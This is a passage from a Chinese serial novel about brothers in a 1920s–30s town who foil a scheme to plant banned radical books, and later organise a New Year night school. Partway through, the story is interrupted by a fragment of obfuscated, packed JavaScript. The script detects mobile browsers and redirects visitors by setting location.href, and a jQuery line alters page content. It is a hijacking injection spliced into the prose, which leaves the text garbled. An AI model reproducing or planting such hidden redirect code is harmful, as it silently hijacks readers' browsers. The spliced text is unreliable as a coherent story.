“去。”张静轩说，“虽说放了年假，但苏先生和程先生还在备课，陈先生他们也在印教材。我去看看，能帮上什么忙。” 张静远沉吟片刻：“也好。不过……”他顿了顿，“昨日周大栓来说，码头又来了条船，看着眼生。” 张静轩心头一紧：“又是那条舢板？” “不是。”张静远摇头，“是条货船，不大，但装得满。船上的人说话带北方口音，卸的货……是年货。” “年货？” “对。红枣、核桃、柿饼，还有……鞭炮。”张静远眼神微凝，“但这个时节，北边来的货船，不该有这么齐全的年货。而且，那船吃水太深——装的不止这些。” 张静轩明白了大哥的言外之意：“您怀疑……” “说不好。”张静远望向码头方向，“也许真是年货，也许……夹带了别的。周大栓想凑近看，被船上的人拦住了，态度很硬。” 这事透着蹊跷。腊月里来货船卖年货，本不稀奇，但北方来的船，又在这个敏感的时候…… “我去码头看看。”张静轩道。 “别。”张静远拦住他，“你照常去学堂。码头那边，我让李铁匠去探探——他徒弟里有个是那船夫的外甥，能说上话。” 安排妥当，兄弟俩各自行动。张静轩穿上厚棉袍，戴上福伯备好的皮帽，踏着积雪往学堂去。主街上的雪已被清扫出条小道，两旁的店铺早早开了门，挂出红灯笼、春联、年画，年味渐浓。 路过陈老秀才家时，老人正站在门口指挥伙计贴春联。看见张静轩，他招招手：“静轩，来，看看这对联如何？” 张静轩走过去。红纸上写着两行苍劲的颜体：“雪润青石启新岁，书香门第继古风。” “好字。”张静轩赞道，“陈老先生笔力不减。” 陈老秀才捋须笑了：“老了，手抖了。”他顿了顿，压低声音，“静轩，昨儿镇公所那边，有点动静。” “什么动静？” “赵明德……往省城发了封电报。”陈老秀才说，“我有个远房侄子在电报局当差，他偷偷告诉我的。电报内容不知道，但收报人是……省教育厅。” 张静轩心头一沉。赵明德果然不死心。 “还有，”陈老秀才声音更低了，“发完电报，赵明德去了趟‘悦来茶馆’，见了个人——不是咱们镇上的，看着像省城来的。” “长什么样？” “四十来岁，戴金丝眼镜，穿灰色中山装，手里总拿着个皮包。”陈老秀才回忆道，“两人在二楼包间待了半个时辰，出来时，赵明德满脸堆笑，那人脸色却不好看。” 这描述……张静轩忽然想起一个人——王秉章。省教育厅那个被撤职查办的王督学。难道他又回来了？或者，是他那一系的人？ “陈老先生，谢了。”张静轩郑重道谢，“这事，您先别声张。” “我晓得。”陈老秀才点头，“静轩，你们千万小心。有些人啊，见不得别人好。” 辞别陈老秀才，张静轩加快脚步往学堂去。雪后的祠堂显得格外肃穆，青灰的屋瓦上积着雪，檐下的冰凌长长短短，像一排晶莹的帘。院里那棵老槐树，枝桠托着厚厚的雪，偶尔有雪块落下，噗的一声，在雪地上砸出个浅坑。 学堂里果然有人。苏宛音和程秋实正在正堂备课，炭火盆烧得旺，满室暖意。见张静轩来，两人都抬头笑了。 “静轩来了。”程秋实推了推眼镜，“正好，你看看这个——”他递过几页纸，“陈先生他们新印的《新春识字画》样稿。” 张静轩接过。纸上印着传统的年画图案——胖娃娃抱鲤鱼，梅花喜鹊，五谷丰登。但每幅画旁边，都配了简单的文字：“鱼，有余”“梅，花开”“谷，丰收”。图文并茂，既喜庆，又能识字。 “这个好。”张静轩眼睛一亮，“过年时发给街坊，大人孩子都能看。” “陈先生的主意。”苏宛音说，“他说，年画家家都要贴，不如做成能识字的，一举两得。”她顿了顿，“他还说，想印一批送给周边村镇的学堂——算是青云会转型后的第一份‘礼物’。” 这想法很大气。张静轩点头：“那需要多少？钱够吗？” “陈先生说，印刷成本他们出。”程秋实道，“纸和油墨，他们从省城调。咱们只需要帮忙分装、分发。” 正说着，后厢房传来印刷机的转动声——咔嗒，咔嗒，规律而有力。张静轩走过去，看见陈启明正带着那个眼镜青年操作机器。油墨的味道弥漫在空气中，混合着纸张的清香。 “静轩来了。”陈启明抬起头，额上有细汗，“来看看，这批《新春识字画》印得如何。” 张静轩拿起一张刚印好的。墨色均匀，字迹清晰，年画的色彩鲜艳饱满。“很好。”他由衷赞道，“比市面上卖的年画，不差。” 陈启明笑了：“印刷技术，我还是有些心得的。”他关掉机器，用棉纱擦了擦手，“对了，静轩，有件事要跟你说。” 两人走到窗边。窗外是学堂的后院，雪地里一串脚印蜿蜒通向墙角——是早晨来上工的伙计留下的。 “昨日，我在镇上看见个人。”陈启明压低声音，“在‘悦来茶馆’二楼，和赵明德一起。” “戴金丝眼镜，穿灰色中山装？” “你见过？”陈启明一愣。 “听陈老秀才说的。”张静轩把早晨的事说了。 陈启明眉头紧皱：“那人我认识——叫孙维民，是王秉章的秘书。王秉章倒台后，他调到了省教育学会，名义上是干事，实际上……还在活动。” “活动什么？” “不好说。”陈启明摇头，“但这个人，心思很深。早年我在省城办印刷社时，跟他打过交道——表面谦和，实则手段狠辣。他若来了青石镇，肯定没好事。” 张静轩心往下沉。一波未平，一波又起。 “还有，”陈启明声音更低了，“我的人从省城传来消息，说孙维民这趟出来，不只是‘考察’那么简单。他好像在查什么东西——查各地学堂的‘背景’，尤其是……有没有‘异端思想’渗透。” 异端思想。这四个字像针，扎在张静轩心上。青云会的印刷设备就在学堂里，虽然现在印的是教材和年画，但若被翻出之前那些激进材料…… “陈先生，那些旧稿……” “烧了。”陈启明果断道，“那晚从砖窑回来，我就让小王他们把手稿全烧了，灰都倒进了青云河。”他顿了顿，“印刷机也彻底清理过，铅字里那些敏感的字眼，都剔除了。” 张静轩松了口气。但随即又想到——孙维民若真要查，不会只查实物，还会查人。陈启明和他的三个年轻人，本身就是“异端”。 “那您和几位兄弟……” “我们暂时不走。”陈启明说，“这个时候走，反而惹人怀疑。况且，”他笑了笑，“我们现在是‘教材印刷合作方’，合理合法。” 话虽如此，但张静轩总觉得不安。他想起大哥说的那条货船，想起赵明德的电报，想起孙维民的神秘到访……这些碎片，在脑海里拼凑不出完整的图案，却隐约指向某个他不愿面对的危机。 中午时分，李铁匠来了。这位铁匠师傅裹着件油腻的皮袄，脸上沾着煤灰，显然刚从铺子里来。见到张静轩，他直截了当：“那条船，有问题。” “怎么说？” “我让徒弟去套近乎，假装买年货。”李铁匠压低声音，“船上的人很警惕，不让进舱。但我徒弟眼尖，看见舱里堆的货——外头是年货，里头……是木箱，用油布裹着，看不清是什么。” “木箱多大？” “这么长，这么宽。”李铁匠比划着，“像装枪的箱子，但没那么规整。” 枪？张静轩心头一跳。但随即又否定——若是枪，不至于这么明目张胆地运。而且，青石镇这样的地方，要枪做什么？ “还有，”李铁匠继续道，“船上的人，虽然穿着便服，但站姿、说话，都像……当兵的。” 当兵的？张静轩猛地想到大哥——张静远说过，有些部队会私下运些“外快”，倒卖物资。难道这条船是…… “这事先别声张。”他对李铁匠说，“李叔，麻烦您继续盯着，但千万小心，别让他们察觉。” “晓得。”李铁匠点头，转身要走，又停住，“对了，静轩，昨儿赵明德那小子，来我铺子里打了两把锁——特大号的，锁库房用的。我多问了一句，他说是镇公所仓库要换锁。可我今早路过仓库，锁好好的。” 这又是蹊跷。张静轩谢过李铁匠，心里那团疑云越积越厚。 下午，他去找大哥。张静远正在书房看地图——是青石镇及周边地形图，上面用红笔标着几个点：码头、砖窑、镇公所仓库、学堂。 听完张静轩的汇报，张静远沉默良久。他手指在地图上滑动，最终停在码头位置：“船是北方来的，带年货，但夹带别的东西；船上的人像当兵的；赵明德换了新锁，但仓库锁没坏；孙维民秘密到访，与赵明德密谈……” 他抬起头，眼中闪过一丝锐光：“这些事，可能有关联。” “什么关联？” “还不好说。”张静远沉吟，“但若把这些碎片拼起来——一条可能夹带私货的船，一个与省城官员密谈的镇干事，一个新来的、查‘异端思想’的省厅干事……” 他顿了顿，缓缓道：“也许，有人在利用青石镇，做一笔交易。” “交易什么？” “不知道。”张静远摇头，“但肯定不是好事。”他站起身，走到窗前，“静轩，这几日，学堂那边要格外小心。印刷设备的事，能瞒多久瞒多久。陈先生他们，尽量少露面。” 张静轩点头。他明白大哥的担忧——若孙维民真是来查“异端”的，那印刷设备、陈启明这些人，都是现成的把柄。 “那船……” “我去看看。”张静远道，“今晚，我让周大栓带我上船——以买年货的名义。” “太危险了！”张静轩脱口而出。 “危险也得去。”张静远拍拍弟弟的肩，“有些事，不亲眼看看，永远不知道真相。” 他说得平静，但张静轩听出了其中的决绝。这就是大哥——在战场上养成的习惯，明知山有虎，偏向虎山行。 傍晚，雪又飘了起来。细密的雪粒在暮色里纷飞，很快又给青石镇覆上一层新白。张静轩站在学堂门口，看着孩子们被家长接走。小莲裹着苏宛音给的旧围巾，小脸红扑扑的，挥手跟他说“静轩哥明天见”。 明天。张静轩望着小莲蹦跳远去的背影，心里默默祈祷——但愿明天，一切如常。 夜里，他躺在榻上，听着窗外雪落的声音。那声音很轻，沙沙的，像春蚕食叶，又像某种细密的低语。他想起白日里的事，想起那条神秘的船，想起孙维民那张模糊的脸，想起大哥今夜要上的船…… 翻来覆去，难以入眠。 约莫子时，院门轻轻响动。张静轩立刻起身，披衣推门。是大哥回来了，身上落满雪，但神色平静。 “怎么样？”张静轩急切地问。 张静远抖落身上的雪，走进书房。张静轩跟进去，掩上门。 “船上确有问题。”张静远压低声音，“我假装买红枣，上了船。舱里堆的年货只是幌子，里头真有木箱——我趁人不备，撬开一角看了。” “是什么？” “书。”张静远神色复杂，“但不是普通的书。是……禁书。前朝禁的，还有……洋人的书，讲什么‘主义’的。” 禁书？张静轩愣住了。他原以为是军火、烟土，或是别的什么违禁品，却没想到是书。 “而且，”张静远继续道，“那些书，不是新印的。纸张发黄，有的还有虫蛀。像是……从什么地方收集来的，要运到别处去。” “运去哪儿？” “不知道。”张静远摇头，“但船上的人说漏了嘴，提到‘南边有个大主顾’，‘出价很高’。” 私运禁书？张静轩觉得这事透着古怪。禁书固然敏感，但值得这么偷偷摸摸？还动用疑似军人的船夫？ “还有更奇怪的。”张静远从怀里掏出一本小册子——只有巴掌大，纸张粗糙，显然是匆忙撕下的，“我从箱子里偷拿了一本。” 张静轩接过。册子封面上没有字，翻开，里面是手抄的文字。字迹潦草，但内容……他看了几行，心头大震。 “这……这是……” “嗯。”张静远点头，“是激进团体的内部材料，比青云会那些更甚。直接呼吁……暴力变革。” 张静轩感到脊背发凉。他终于明白为什么船上的人像军人——这些材料，若被查获，不是简单的禁书问题，是谋逆大罪。 “船主是谁？” “问了，不说。”张静远道，“但我看见船尾有个标记——像是个徽章，但被刮花了，看不清。” 他顿了顿：“静轩，这事比咱们想的复杂。私运禁书，而且是这种禁书，背后肯定不是简单的生意。可能牵扯到……某些势力。” “那咱们怎么办？” “先按兵不动。”张静远沉思，“船在码头只停三天，腊月二十六就走。咱们暗中盯着，看谁来接货，货往哪儿运。至于孙维民……”他眼神一冷，“他若真是为这事来的，那就不只是查‘异端思想’那么简单了。” 兄弟俩商议到深夜。最终决定：张静轩继续留意学堂和印刷设备的事，张静远则通过周大栓、李铁匠这些街坊，暗中监视码头和仓库。同时，让福伯去省城一趟——不是去找李教授，而是找沈特派员。如果这事真牵扯到某些势力，得让警方知道。 腊月二十五，雪霁天晴。 青石镇在阳光下熠熠生辉，积雪反射着刺眼的光。街上人更多了，置办年货的，走亲访友的，熙熙攘攘。那艘货船依然停在码头，船夫在甲板上晒太阳，看似悠闲，但眼神不时扫视四周。 张静轩照常去学堂。今日是年前最后一天课，下午就要正式放假。孩子们格外兴奋，课堂里叽叽喳喳，连最安静的小莲都忍不住和同桌说悄悄话。 苏宛音没讲课，而是带着孩子们剪窗花。红纸、剪刀，一双双小手虽然笨拙，但剪出的图案——莲花、喜鹊、福字——贴在窗上，映着雪光，格外喜庆。 程秋实在写春联。他毛笔字好，街坊们早早送来红纸，求一副对联。他写得认真，每一副都不同——给铁匠铺的“炉火纯青铸利器”，给豆腐坊的“磨转乾坤出白玉”，给船工家的“帆风顺遂平安归”…… 张静轩帮忙裁纸、晾干。墨香混着剪纸的红纸屑，在暖和的祠堂里弥漫，有种安宁的年味。 中午，陈启明来了。他带来印好的《新春识字画》，整整三大箱。“先放这儿，等过年时，咱们挨家挨户送。”他说着，看了眼张静轩，眼神示意。 两人走到后院。雪地里，只有他们两行脚印。 “静轩，省城那边有消息。”陈启明压低声音，“孙维民这趟出来，带的不是教育学会的公文，是……省警务厅的协查函。” “警务厅？”张静轩一惊。 “对。”陈启明点头，“我的人从内部打听到，孙维民在查一条线——各地印刷品的流通线。尤其是……激进材料的印刷、运输、传播。” 张静轩心头狂跳。他想起那条船，想起船上的木箱。 “陈先生，那船……” “你也知道了？”陈启明苦笑，“我今早去码头看了，那船……是我们青云会以前的‘供应船’之一。” “什么？” “早些年，我们印的材料，有一部分是通过这种船运输的。”陈启明解释，“船主是个北方人，只认钱，不问货。我们给钱，他运货。但自从我决定转型后，就断了这条线。没想到……” “船上的货，是你们以前的？” “不全是。”陈启明摇头，“有些是，有些……不是。我远远看了一眼，箱子的标记，有几个我认识，是青云会的；但更多的，不认识。可能……是别的团体的。” 张静轩明白了。这条船，现在成了各路激进团体运输材料的通道。而孙维民，就是来查这条通道的。 “那孙维民和赵明德……” “赵明德可能是中间人。”陈启明分析，“他负责在青石镇接货、中转，孙维民负责查。但查归查，为什么秘密会见？除非……”他顿了顿，“除非他们是一伙的——一个查，一个运，演双簧。” 这推测大胆，但合理。张静轩想起赵明德换锁的事——如果是演双簧，那批货可能根本不在船上，而是早就运进了镇公所仓库。新锁，就是为了锁这批“赃物”。 “如果真是这样，”张静轩声音发紧，“他们想做什么？” “栽赃。”陈启明吐出两个字，“把货运进青石镇，然后‘查获’，然后……青石镇就成了‘激进思想传播窝点’。学堂，印刷设备，我们这些人，都是现成的‘证据’。” 张静轩感到浑身发冷。好毒的计策。若真成了，青石镇将万劫不复。学堂必毁，街坊受累，张家……恐怕也难逃干系。 “得阻止他们。”他咬牙道。 “怎么阻止？”陈启明问，“货在船上，或在仓库。咱们没权搜查，没证据举报。贸然行动，反而打草惊蛇。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140668|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这确实是个死局。张静轩在雪地里踱步，脑子飞快地转着。忽然，他停下脚步：“如果……货不见了？” “什么意思？” “如果货在咱们手里，”张静轩眼中闪过一丝光，“他们拿什么栽赃？” 陈启明愣住了。半晌，他缓缓道：“你是说……偷？” “不是偷，是‘转移’。”张静轩压低声音，“趁他们还没行动，把货从仓库或船上弄出来，藏到别处。等孙维民来‘查’时，什么都查不到。” “可仓库有锁，船有人守。” “锁能开，人能引开。”张静轩想起李铁匠——这位铁匠师傅，开锁是一把好手。还有周大栓，码头是他的地盘，引开几个船夫，不难。 陈启明沉吟良久，最终点头：“可以一试。但得计划周全，不能留下痕迹。” 两人回到祠堂，关上门，开始详细谋划。时间紧迫——船腊月二十六就走，孙维民随时可能行动。他们必须在今夜动手。 计划分两步：一，由周大栓以“请喝酒”的名义，引开船上的人；李铁匠带人上船，搜查木箱，若有禁书，全部转移。二，同时，由陈启明的人盯住镇公所仓库，若赵明德有异动，立刻通知。 至于转移的地点……张静轩想到了砖窑的地下仓库。那里隐蔽，而且现在空着，正好用。 “但有个问题，”陈启明说，“就算咱们把货运走了，孙维民来查，发现货没了，会善罢甘休吗？” “不会。”张静轩摇头，“但他没证据，就不能拿青石镇怎么样。至于货的去向……”他顿了顿，“可以让他们以为，是‘内讧’——赵明德私吞了货，或者船主自己运走了。” “嫁祸？” “对。”张静轩眼神坚定，“既然他们要演双簧，咱们就给他们加场戏——狗咬狗的戏。” 计划定下，各自行动。张静轩去找大哥商量，张静远听完，沉默片刻，点头：“可行。但千万小心，若被发现，就是现行犯。” “我知道。” “还有，”张静远从抽屉里取出一个小布包，“这个，你带着。” 张静轩打开，里面是一把匕首，还有一包药粉。“这是……” “匕首防身，药粉是蒙汗药。”张静远平静道，“必要时，能让对方睡一会儿。但记住——非到万不得已，不能用。” 张静轩重重点头，将布包揣进怀里。 傍晚，雪又飘了起来。细密的雪粒在暮色里翻飞，很快模糊了天光地界。青石镇的灯火次第亮起，红灯笼在雪光里晕开一团团暖黄。 周大栓按计划去了码头，提着两坛烧酒，说是“提前过年，请兄弟喝酒”。船夫起初推辞，但架不住周大栓热情，又看天寒地冻，最终下了船，跟着去了码头边的小酒馆。 李铁匠带着两个徒弟，趁机摸上船。他们穿着深色棉袄，脸上抹了煤灰，在暮色里像几道影子。张静轩在岸上望风，心跳如鼓。 时间一分一秒过去。雪越下越大，很快在肩头积了薄薄一层。张静轩盯着船，手里攥着怀里的匕首，手心全是汗。 约莫两刻钟后，李铁匠从船舱出来，打了个手势——得手了。三人扛着几个木箱，下了船，迅速消失在巷弄里。 张静轩松了口气。第一步，成了。 接下来是仓库。陈启明那边传来消息——赵明德下午去了仓库一趟，待了半个时辰，出来时手里提着个包袱，神色匆匆。仓库的锁，果然换了新的。 “要动手吗？”陈启明问。 “等。”张静轩道，“等孙维民出现。” 夜色渐深，雪势稍缓。青石镇沉浸在年关前的宁静里，只有更夫的梆子声，在街巷间回荡，一声，又一声。 亥时末，变故发生了。 先是码头方向传来喧哗——周大栓和船夫们喝酒的酒馆，突然闯进几个人，说是“查私酒”。接着，镇公所方向亮起火把，人影憧憧。 张静轩藏在巷口阴影里，看见孙维民带着几个人，直奔仓库。赵明德跟在后面，点头哈腰。 果然来了。 他立刻发出信号——一声猫头鹰叫，在雪夜里传得很远。这是给陈启明的暗号：按计划行动。 仓库门口，孙维民示意手下开锁。赵明德递上钥匙，手却在抖。锁开了，门推开，火把的光照进去—— 仓库里空空如也。 孙维民脸色大变，猛地转身，一把揪住赵明德：“货呢？！” 赵明德瘫软在地：“我……我不知道啊！下午还在的……” “搜！”孙维民咬牙道。 手下在仓库里翻找，但除了几袋陈年谷子，什么都没有。孙维民的脸在火把光里铁青，他盯着赵明德，眼神像刀：“你敢耍我？” “孙干事，冤枉啊！”赵明德哭喊，“我真不知道……一定是……一定是被人偷了！” “偷？”孙维民冷笑，“仓库锁是你换的，钥匙在你手里，谁能偷？” “我……我……”赵明德语无伦次。 就在这时，码头方向又传来喧哗。一个手下匆匆跑来：“孙干事，船……船上的货也不见了！” 孙维民浑身一震。他猛地看向赵明德，又看向漆黑的小镇街巷，忽然明白了什么。 “中计了。”他咬牙吐出三个字。 火把的光在雪夜里摇曳，映着一张张惊惶的脸。孙维民站在原地，雪落在他肩头，积了薄薄一层。良久，他挥手：“撤。” “那赵明德……” “带走。”孙维民看都不看瘫软在地的赵明德，“回去审。” 一行人匆匆离去，火把的光渐渐消失在街巷尽头。雪又大了起来，很快覆盖了他们留下的脚印。 张静轩从阴影里走出来，看着空荡荡的仓库门口。雪落在脸上，冰凉，但他心里却滚烫。 成了。 货转移了，赵明德被抓了，孙维民的阴谋破产了。 但事情还没完。 他转身往砖窑方向去。雪地里，他的脚印深深浅浅，很快又被新雪覆盖。 砖窑地下仓库里，李铁匠和陈启明正守着那几个木箱。见张静轩来，都松了口气。 “怎么样？”陈启明问。 “孙维民走了，赵明德被带走了。”张静轩简单说了情况。 “接下来怎么办？”李铁匠指着木箱，“这些货……” “烧了。”张静轩果断道，“一本不留。” 陈启明点头：“对，烧了。这些祸根，不能留。” 三人动手，把木箱搬到窑内。李铁匠生了火，火光在漆黑的窑壁上映出跳动的影子。一本本书被扔进火堆，纸张蜷曲，字迹在火焰中化为灰烬。 张静轩看着那些燃烧的书。那些激扬的文字，那些热血的呼吁，那些可能改变很多人命运的思想……在火中化为青烟，升腾，消散。 他不知这样做对不对。但这些书若流传出去，青石镇必遭大祸。他只能选择守护——守护这个小镇，守护学堂，守护那些刚刚点燃的希望。 火渐渐小了，最后只剩一堆灰烬。李铁匠用铁锨把灰埋进窑底的积土里，彻底掩埋。 “好了。”他直起身，擦了把汗，“这下，神仙也找不到了。” 三人走出砖窑。雪停了，月亮从云缝里露出来，清清冷冷地照着雪地。远处，青石镇的灯火星星点点，安宁祥和。 “今晚的事，”陈启明低声说，“就当没发生过。” 李铁匠点头：“我晓得。” 三人分头离开。张静轩踩着积雪往回走，每一步都深深陷进雪里。月光照着他的背影，在雪地上拖出长长的影子。 回到家，书房还亮着灯。张静远在等他。 “都处理好了？”张静远问。 “嗯。”张静轩点头，“货烧了，灰埋了。孙维民走了，赵明德被带走了。” 张静远长长吐出一口气：“那就好。”他顿了顿，“但这事，还没完。” “我知道。”张静轩在火盆边坐下，伸手烤火，“孙维民不会善罢甘休，他背后的人也不会。接下来，可能会有更大的麻烦。” “怕吗？” “怕。”张静轩老实说，“但怕也得扛。” 张静远笑了，那笑容里有欣慰：“你长大了。” 兄弟俩对坐着，火盆里的炭火噼啪作响，暖意融融。窗外，月亮又隐入云层，雪夜重归黑暗。 但黑暗里，有灯火。 有学堂的灯火，有家的灯火，有青石镇千家万户的灯火。 这些灯火，就是希望。 只要灯还亮着，夜再黑，也能等到天亮。 张静轩看着跳动的火苗，心里默默念着。 腊月二十六，船走了。 腊月二十七，年关更近。 青石镇依旧安宁，仿佛那夜的惊涛骇浪，从未发生。 但张静轩知道，有些东西，已经不一样了。 他，也不一样了。 雪还在下。 覆盖痕迹，覆盖过往，覆盖一切暗流与波澜。 然后，等春天来。 等雪化时，埋下的种子，破土而出。 27. 第二十八章 年关暗影 腊月二十七，晨。 雪彻底停了，天地间一片素白。阳光照在积雪上，反射出刺眼的光，晃得人睁不开眼。青石镇的屋檐下挂着一排排冰凌，像倒悬的剑，晶莹剔透。 张静轩推开院门时，福伯已经扫出一条小道。老管家今日换了件新棉袄，深蓝色的底子，袖口缀着毛边，看着精神。“小少爷早，”他直起身，搓了搓冻红的手，“今儿天晴，正好晒年货。” 院子里果然晾开了许多东西——腊肉、腊肠、鱼干，还有用红绳串起来的柿饼、红枣，在雪光里泛着油润的光。年味浓得化不开，仿佛昨夜那场惊心动魄从未发生。 张静远拄着拐杖从屋里出来。他的腿明显好了许多，已能不用拐杖走几步，但走得慢，每一步都稳扎稳打。“静轩，”他招呼道，“今日学堂放假了？” “嗯，昨儿就放了。”张静轩走过去，“但苏先生和程先生还在，陈先生他们也还要印一批识字画，说是赶在年前发完。” 张静远点头，望向学堂方向：“昨夜的事……街坊们没察觉吧？” “应该没有。”张静轩压低声音，“周叔和李叔都嘴紧，陈先生那边也嘱咐过了。” “那就好。”张静远顿了顿，“但孙维民那边……不会就这么算了。” 这话说中了张静轩的心事。昨夜虽然化解了危机，但正如大哥所说，孙维民背后的人不会善罢甘休。那些被烧毁的书，那些被挫败的计划，都成了悬在头顶的剑，不知何时会落下。 “大哥，”张静轩犹豫了一下，“你觉得……孙维民背后是谁？” 张静远沉默片刻，缓缓道：“能在省警务厅拿到协查函，能调动孙维民这样的人，不会是普通角色。可能……是王秉章那一系的人，也可能……是更上面的。” “更上面？” “教育的事，牵涉到思想，就敏感。”张静远的声音很低，“有些人怕新思想，怕民众觉醒，所以千方百计要压。学堂教新知识，印新教材，在他们眼里，就是不安分的种子。” 张静轩感到一阵寒意。若真是这样，青石镇这所学堂，就成了某些人的眼中钉。昨夜烧书，只是暂缓，治标不治本。 “那咱们……” “该做什么还做什么。”张静远拍了拍弟弟的肩，“学堂继续办，教材继续印，孩子继续教。咱们越坦荡，他们越没辙。” 话虽如此，但张静轩心里清楚，接下来的路会更难走。他深吸一口气，冷冽的空气灌入肺腑，清醒而沉重。 早饭后，他去学堂。雪后的街道热闹起来，街坊们忙着置办年货，店铺里挤满了人。卖春联的摊子前围得水泄不通，红纸金字在雪光里格外鲜艳。 路过“悦来茶馆”时，张静轩下意识往二楼看了一眼。窗子关着，帘子拉着，看不出有人。但门口停着一辆马车——不是青石镇常见的样式，车厢漆得黑亮，车辕上坐着个穿棉袄的车夫，正低头打盹。 省城的马车。张静轩心头一跳。孙维民已经走了，这又是谁？ 他不动声色地走过，拐进巷子，绕到茶馆后墙。后墙有个小窗，是厨房的通风窗，此时正冒着热气。张静轩凑近，听见里面传来说话声。 “……人已经带走了，但货丢了。”一个低沉的声音，“孙干事很生气，说这事没完。” “货怎么会丢？”另一个声音年轻些，带着江浙口音，“仓库锁着，船有人守着……” “所以才蹊跷。”低沉声音道，“孙干事怀疑，青石镇有内鬼。” 内鬼？张静轩屏住呼吸。 “那……咱们还按原计划吗？”年轻声音问。 “计划变了。”低沉声音顿了顿，“上头指示，暂时不动青石镇。但学堂……要盯紧。尤其是那个印刷设备，还有那几个省城来的人。” “明白。” “还有，”低沉声音压低了些，“腊月三十，省城会来个人。到时候，你负责接应。” “什么人？” “不该问的别问。” 谈话到此结束。接着是椅子挪动的声音，脚步声往门口去。张静轩赶紧退开，躲进巷子深处的柴堆后。 片刻，后门开了。两个人走出来，都是寻常百姓打扮，但身形挺拔，步履沉稳。张静轩认出其中一个——是昨夜里跟在孙维民身边的手下。另一个年轻些，戴着皮帽，遮住了大半张脸。 两人四下看了看，快步离开。张静轩等他们走远，才从柴堆后出来。他记下了那个年轻些的身影——走路时左肩微微下沉，像受过伤。 回到学堂，祠堂里果然还热闹着。苏宛音和程秋正在整理孩子们的年终作业，陈启明带着那三个年轻人在后厢房印识字画。印刷机的咔嗒声规律地响着，油墨味弥漫。 张静轩把茶馆听到的事说了。苏宛音脸色微白，程秋实推了推眼镜，沉默不语。陈启明停下印刷机，眉头紧皱。 “腊月三十……”他喃喃道，“年关最后一天，他们要干什么？” “说是省城来个人。”张静轩道，“要人接应。” 陈启明眼神一凝：“省城来的……这个时候来青石镇，肯定不是拜年。” “陈先生认识那人？”程秋实问。 “不认识，但猜得到。”陈启明走到窗边，望着雪后的院子，“孙维民背后的人，派个更有分量的来。要么是来善后，要么……是来施压。” “施压？”苏宛音轻声问。 “对。”陈启明转身，神色凝重，“昨夜的事，孙维民办砸了。上头不满意，派个更厉害的来，要给青石镇——尤其是学堂——一个‘教训’。” 张静轩感到手心出汗。他想起昨夜烧书时的那把火，想起孙维民离去时铁青的脸。原以为危机暂解，现在看来，只是暴风雨前的宁静。 “那咱们怎么办？”程秋实问。 陈启明沉默良久，缓缓道：“两条路。一，避其锋芒，暂时收敛，等风头过去。二……”他顿了顿，“以攻为守，在他们来之前，先把事做扎实，让他们无从下手。” “怎么以攻为守？”张静轩追问。 陈启明眼中闪过一丝光：“把学堂的事，做得更大，做得更公开。印教材，发识字画，还要……办个年关夜校。” “夜校？” “对。”陈启明点头，“腊月二十八到三十，连办三晚夜校。请街坊们来听课，不教深的，就教识字、算账、写春联。把声势造起来，让全镇人都知道，学堂在做什么。” 他顿了顿：“到时候，省城来的人若想动学堂，就得掂量掂量——动了学堂，就是动了青石镇所有百姓。” 这主意大胆，但也有理。张静轩想起街坊们对学堂的支持——周大栓、李铁匠、陈老秀才，还有那些凑钱助学的家长。若真把大家都动员起来，确实是一股力量。 “但时间太紧了。”程秋实道，“腊月二十八，就是后天。” “紧，才有效。”陈启明说，“就是要打他们一个措手不及。他们以为咱们会躲，咱们偏要站出来。” 苏宛音沉吟片刻，点头：“我觉得可行。夜校的内容，我来准备——就教写春联、算年账，都是实用的。” 程秋实也点头：“我负责组织，挨家挨户通知。” 张静轩看向陈启明：“那印刷……” “识字画再加印三百份。”陈启明果断道，“夜校来的人，每人发一份。还有，印一批简单的《年关实用字表》，把过年常用的字都列上。” 计划定下，各自行动。张静轩回家找大哥商量，张静远听完，沉思片刻，点头：“可以。但得有人维持秩序——夜校人多，容易乱。” “让周叔和李叔帮忙？” “不止。”张静远道，“我去找陈老秀才，让他出面主持。老人家德高望重，有他在，镇得住场。” 这主意好。陈老秀才虽然古板，但真心支持学堂，而且在镇上威望高。有他主持，夜校的“正当性”就强了。 事情就这么定了。张静远去找陈老秀才，张静轩则去通知街坊。他先去了周大栓家——在码头边的矮房里，水生正趴在桌上写字，见张静轩来，高兴地跳起来。 “静轩哥！你看，俺写的春联！”水生献宝似的举起一张红纸，上面歪歪扭扭写着“一帆风顺”。 张静轩赞了几句，把夜校的事说了。周大栓正在补渔网，听了，把网一放：“好事！俺们这些粗人，正愁过年账算不清呢。去，一定去！” “周叔，还得麻烦您通知码头的兄弟。” “包在俺身上！”周大栓拍胸脯。 接着去李铁匠铺子。铁匠铺里炉火正旺，叮叮当当的打铁声不绝于耳。李铁匠光着膀子，一锤一锤砸着烧红的铁块，火星四溅。见张静轩来，他停了锤，抹了把汗：“静轩，有事？” 张静轩说了夜校。李铁匠咧嘴笑：“教算账？俺正需要！铺子里那些账，总也算不明白。”他顿了顿，“放心，镇西这边，俺去通知。” 一圈走下来，天色已近黄昏。雪后的夕阳格外红，像浸了血的绸子，铺在西天。青石镇的灯火次第亮起，炊烟袅袅，饭香飘散。 张静轩走在回家的路上，心里却不像表面那么平静。夜校的事安排下去了，但腊月三十省城来人的阴影，依然笼罩在心头。那个人会是谁？来干什么？会用什么手段？ 他不知道。 但知道也得往前走。 回到家，张静远已经回来了，正在书房写信。见弟弟进门，他放下笔：“陈老秀才答应了，还说要把他珍藏的几幅古画拿出来，挂在夜校，添添文气。” 这是意外之喜。张静轩松了口气——有陈老秀才支持，夜校的阻力就小多了。 “大哥，你在给谁写信？” “沈特派员。”张静远把信折好，装进信封，“把青石镇的情况跟他说说。虽然不一定有用，但备个案，总没错。” 张静轩点头。沈特派员是警务厅的人，不归教育厅管，但若能得他关照，总多一分保障。 “还有，”张静远从抽屉里取出一张纸，“你看看这个。” 纸上画着个图案——像徽章，但残缺不全，只能看出大概轮廓：中间是个圆，周围有枝叶环绕，下面隐约有字，但被刮花了。 “这是……” 